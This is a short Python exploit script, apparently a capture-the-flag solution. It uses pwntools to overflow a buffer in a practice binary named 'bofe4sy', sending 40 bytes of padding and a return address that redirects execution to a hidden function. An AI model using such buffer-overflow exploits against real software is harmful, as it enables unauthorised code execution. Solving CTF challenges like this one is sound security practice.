#! /usr/bin/python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2018 howpwn <finn79426@gmail.com>
#
# Distributed under terms of the MIT license.

from pwn import *

# r = remote("127.0.0.1", 1111)
r = process("./bofe4sy")
r.readuntil(":")

padding = 40

l33t = p64(0x0000000000400646)

payload = cyclic(40) + l33t

r.sendline(payload)
r.interactive()
